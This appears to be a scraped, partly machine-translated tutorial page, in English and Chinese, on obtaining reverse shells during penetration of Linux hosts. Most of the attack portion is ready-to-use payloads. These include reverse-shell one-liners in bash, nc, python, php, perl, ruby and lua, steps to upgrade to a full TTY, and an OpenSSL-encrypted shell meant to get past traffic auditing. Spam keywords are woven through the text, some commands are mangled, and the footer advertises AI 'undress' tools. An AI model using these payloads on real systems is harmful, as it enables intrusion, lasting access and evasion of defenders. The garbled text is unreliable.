Home System Tutorial LINUX In-depth understanding of shell: Common noun analysis and application scenarios in penetration

In-depth understanding of shell: Common noun analysis and application scenarios in penetration

Jun 13, 2024 pm 09:26 PM

深入了解 shell:渗透中常用名词解析及应用场景

What are shells

Shell is a commonly used noun in penetration, such as getshell, webshell, plummet shell, etc., all related to shell.

Shell explained by Baidu Encyclopedia:

In computer science, Shell is also called a shell (to distinguish it from the kernel), which refers to "providing an operating interface for users

face" software (command parser). It is similar to DOS and later

cmd.exe. It receives user commands and then calls the corresponding application.

Simply put, users access the services of the operating system kernel through the shell, that is, from the shell to the kernel to execute system commands.

getshell: Obtain the command execution permission of the target

webshell: refers to the website side doorlinux kernel sprintf, command execution through web service

Big drop shell: transfer the input and output of the command line to other hosts

Why should we drop the shell

1. There is no interaction when executing commands under webshell. In order to facilitate shelling or other operations, you must open the shell.

2. The rebound shell is equivalent to adding a side door. When the webshell is discovered and deleted, the permissions will not be lost.

Commonly used methods to crash the shell in Linux

Use the whereis command to determine the callback techniques supported by the target.

 whereis nc bash python php exec lua perl ruby
Copy after login

linux 内核 sprintf_内核sprintf_内核管理器

linux 内核 sprintf_内核sprintf_内核管理器

bash tumble shell

Bash callback is the most commonly used method in actual combat

nc -lvp 9999
bash -i >& /dev/tcp/ip/port 0>&1
Copy after login

Disassemble the command and analyze it:

1. bash-i means opening a bash locally

2. /dev/tcp/ is a special device in Linux. Opening this file is equivalent to issuing a socket call and building a socket connection

3. The file /dev/tcp/ip/port next to >& means redirecting the standard output and standard error output to this file, that is, passing it to the remote vps

4. If the remote vps opens the corresponding port to eavesdrop, it will receive the standard output and standard error output of this bash.

nc tumble shell

Requires nc to be installed on the target host

nc ip port -e /bin/sh
Copy after login

使用其他版本的nc

nc.traditional ip port -e /bin/sh
Copy after login

linux 内核 sprintf_内核管理器_内核sprintf

内核sprintf_linux 内核 sprintf_内核管理器

配合命名管线进行大跌:

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc ip port >/tmp/f
Copy after login

python大跌shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
Copy after login

首先使用socket与远程构建起联接,接出来使用到了os库的dup2方式将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方式有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关掉fd2,之后将fd1代表的那种文件强行复制给fd2linux之家,在这儿可以把fd1和fd2看作是C语言里的表针,将fd1形参给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这儿也就是构建socket联接返回的文件描述符,复印下来数值为3

0代表标准输入、1代表标准输出、2代表标准错误输出、3代表重定向到远程

接出来使用os的subprocess在本地开启一个子进程,传入参数“-i”使bash以交互模式启动,标准输入、标准输出、标准错误输出又被重定向到了远程,这样的话就可以在远程执行输入命令了。

php大跌shell

linux 内核 sprintf_内核sprintf_内核管理器

须要php关掉safe_mode选项,才可以使用exec函数。

使用php的exec函数执行方式1大跌shell的命令

php- 'exec("/bin/bash -i >& /dev/tcp/ip/port")'
Copy after login

使用php的fsockopen去大跌shell

php -r '$sock=fsockopen("ip",port);exec("/bin/bash -i &3 2>&3");'
Copy after login

其它大跌方式

exec大跌

0<&196;exec 196/dev/tcp/ip/port; sh &196 2>&196
Copy after login

perl大跌

perl -e &#039;use Socket;$i="ip";$p=port;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};&#039;
Copy after login

ruby大跌

ruby -rsocket -e&#039;f=TCPSocket.open("ip",port).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)&#039;
Copy after login

lua大跌

lua -e "require(&#039;socket&#039;);require(&#039;os&#039;);t=socket.tcp();t:connect(&#039;ip&#039;,&#039;port&#039;);os.execute(&#039;/bin/sh -i &3 2>&3&#039;);"
Copy after login

内核管理器_linux 内核 sprintf_内核sprintf

获取一个完全交互shell

通过上述命令大跌shell得到的shell并不能称为完全交互的shell,一般称之为'哑'shell。

一般存在以下缺点

因而有必要去获取一个完全交互的shell。

1、在shell中执行python,使用pty模块,创建一个原生的终端,命令如下:

python -c &#039;import pty; pty.spawn("/bin/bash")&#039;
Copy after login

隐藏

运行完后

2、键入Ctrl-Z暂停任务,切回到VPS的命令行中;在VPS中执行:

stty raw -echo 
fg #将后台运行或挂起的任务切换到前台运行
Copy after login

内核管理器_内核sprintf_linux 内核 sprintf

3、在shell中执行,得到一个完全交互的shell,支持命令补全、历史命令查看、语法高亮、vim编辑等功能。

reset
export SHELL=bash
export TERM=xterm-256color
stty rows 54 columns 104
Copy after login

内核管理器_内核sprintf_linux 内核 sprintf

内核sprintf_linux 内核 sprintf_内核管理器

SSL流量加密

部份防护设备会对内外网传输流量进行审查,大跌shell执行命令都是以明文进行传输的linux 内核 sprintflinux 命令,很容易被查杀。

因而须要将原始流量使用openssl加密,绕开流量审计设备。

1、首先vps上生成SSL证书的私钥/公钥对,信息懒得填,仍然回车即可。

openssl req -x509 -newkey rsa:2048 -keyout key.pem -out cert.pem -days 365 -nodes
Copy after login

linux 内核 sprintf_内核sprintf_内核管理器

2、vps使用OpenSSL窃听一个端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 8888
Copy after login

内核sprintf_linux 内核 sprintf_内核管理器

3、目标主机执行回调加密shell

mkfifo /tmp/s; /bin/bash -i &1 | openssl s_client -quiet -connect ip:port > /tmp/s; rm /tmp/s
Copy after login

内核sprintf_linux 内核 sprintf_内核管理器

大跌成功,成功接收到ssl流量加密的shell。

内核管理器_内核sprintf_linux 内核 sprintf

Reference link

The above is the detailed content of In-depth understanding of shell: Common noun analysis and application scenarios in penetration. For more information, please follow other related articles on the PHP Chinese website!

Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn

Hot AI Tools

Undresser.AI Undress

Undresser.AI Undress

AI-powered app for creating realistic nude photos

AI Clothes Remover

AI Clothes Remover

Online AI tool for removing clothes from photos.

Undress AI Tool

Undress AI Tool

Undress images for free

Clothoff.io

Clothoff.io

AI clothes remover

Video Face Swap

Video Face Swap

Swap faces in any video effortlessly with our completely free AI face swap tool!

Hot Tools

Notepad++7.3.1

Notepad++7.3.1

Easy-to-use and free code editor

SublimeText3 Chinese version

SublimeText3 Chinese version

Chinese version, very easy to use

Zend Studio 13.0.1

Zend Studio 13.0.1

Powerful PHP integrated development environment

Dreamweaver CS6

Dreamweaver CS6

Visual web development tools

SublimeText3 Mac version

SublimeText3 Mac version

God-level code editing software (SublimeText3)

What is the Linux best used for? What is the Linux best used for? Apr 03, 2025 am 12:11 AM

Linux is best used as server management, embedded systems and desktop environments. 1) In server management, Linux is used to host websites, databases, and applications, providing stability and reliability. 2) In embedded systems, Linux is widely used in smart home and automotive electronic systems because of its flexibility and stability. 3) In the desktop environment, Linux provides rich applications and efficient performance.

What are the 5 basic components of Linux? What are the 5 basic components of Linux? Apr 06, 2025 am 12:05 AM

The five basic components of Linux are: 1. The kernel, managing hardware resources; 2. The system library, providing functions and services; 3. Shell, the interface for users to interact with the system; 4. The file system, storing and organizing data; 5. Applications, using system resources to implement functions.

What is basic Linux administration? What is basic Linux administration? Apr 02, 2025 pm 02:09 PM

Linux system management ensures the system stability, efficiency and security through configuration, monitoring and maintenance. 1. Master shell commands such as top and systemctl. 2. Use apt or yum to manage the software package. 3. Write automated scripts to improve efficiency. 4. Common debugging errors such as permission problems. 5. Optimize performance through monitoring tools.

What is the most use of Linux? What is the most use of Linux? Apr 09, 2025 am 12:02 AM

Linux is widely used in servers, embedded systems and desktop environments. 1) In the server field, Linux has become an ideal choice for hosting websites, databases and applications due to its stability and security. 2) In embedded systems, Linux is popular for its high customization and efficiency. 3) In the desktop environment, Linux provides a variety of desktop environments to meet the needs of different users.

How to learn Linux basics? How to learn Linux basics? Apr 10, 2025 am 09:32 AM

The methods for basic Linux learning from scratch include: 1. Understand the file system and command line interface, 2. Master basic commands such as ls, cd, mkdir, 3. Learn file operations, such as creating and editing files, 4. Explore advanced usage such as pipelines and grep commands, 5. Master debugging skills and performance optimization, 6. Continuously improve skills through practice and exploration.

How much does Linux cost? How much does Linux cost? Apr 04, 2025 am 12:01 AM

Linuxisfundamentallyfree,embodying"freeasinfreedom"whichallowsuserstorun,study,share,andmodifythesoftware.However,costsmayarisefromprofessionalsupport,commercialdistributions,proprietaryhardwaredrivers,andlearningresources.Despitethesepoten

What is a Linux device? What is a Linux device? Apr 05, 2025 am 12:04 AM

Linux devices are hardware devices running Linux operating systems, including servers, personal computers, smartphones and embedded systems. They take advantage of the power of Linux to perform various tasks such as website hosting and big data analytics.

What are the disadvantages of Linux? What are the disadvantages of Linux? Apr 08, 2025 am 12:01 AM

The disadvantages of Linux include user experience, software compatibility, hardware support, and learning curve. 1. The user experience is not as friendly as Windows or macOS, and it relies on the command line interface. 2. The software compatibility is not as good as other systems and lacks native versions of many commercial software. 3. Hardware support is not as comprehensive as Windows, and drivers may be compiled manually. 4. The learning curve is steep, and mastering command line operations requires time and patience.

See all articles